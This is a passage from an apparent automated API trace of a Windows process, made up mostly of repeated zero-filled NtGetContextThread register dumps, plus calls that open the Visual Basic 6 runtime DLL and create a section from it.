[71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0112.191] NtOpenFile (in: FileHandle=0x18f364, DesiredAccess=0x1, ObjectAttributes=0x3a61420*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Windows\\syswow64\\msvbvm60.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x3a61400, ShareAccess=0x1, OpenOptions=0x0 | out: FileHandle=0x18f364*=0x148, IoStatusBlock=0x3a61400*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0112.197] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3a65004 | out: Context=0x3a65004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0112.202] NtCreateSection (in: SectionHandle=0x18f360, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x1000000, FileHandle=0x148 | out: SectionHandle=0x18f360*=0x144) returned 0x0 [0112.208] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3a65004 | out: Context=0x3a65004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, 